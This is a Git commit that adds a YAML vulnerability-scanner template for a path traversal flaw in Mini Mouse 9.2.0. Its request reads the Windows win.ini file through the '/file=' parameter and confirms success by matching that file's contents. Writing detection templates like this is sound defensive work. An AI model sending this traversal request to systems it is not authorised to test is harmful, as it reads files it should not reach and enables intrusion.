Merge pull request #2590 from Akokonunes/patch-32

Create minimouse-lfi.yaml
patch-1
Prince Chaddha 2021-09-06 14:53:36 +05:30 committed by GitHub
commit 98255fefe3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 27 additions and 0 deletions

View File

@ -0,0 +1,27 @@
id: minimouse-lfi
info:
name: Mini Mouse 9.2.0 - Path Traversal
author: 0x_Akoko
severity: high
reference: https://www.exploit-db.com/exploits/49744
tags: minimouse,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/file=C:%5CWindows%5Cwin.ini"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
part: body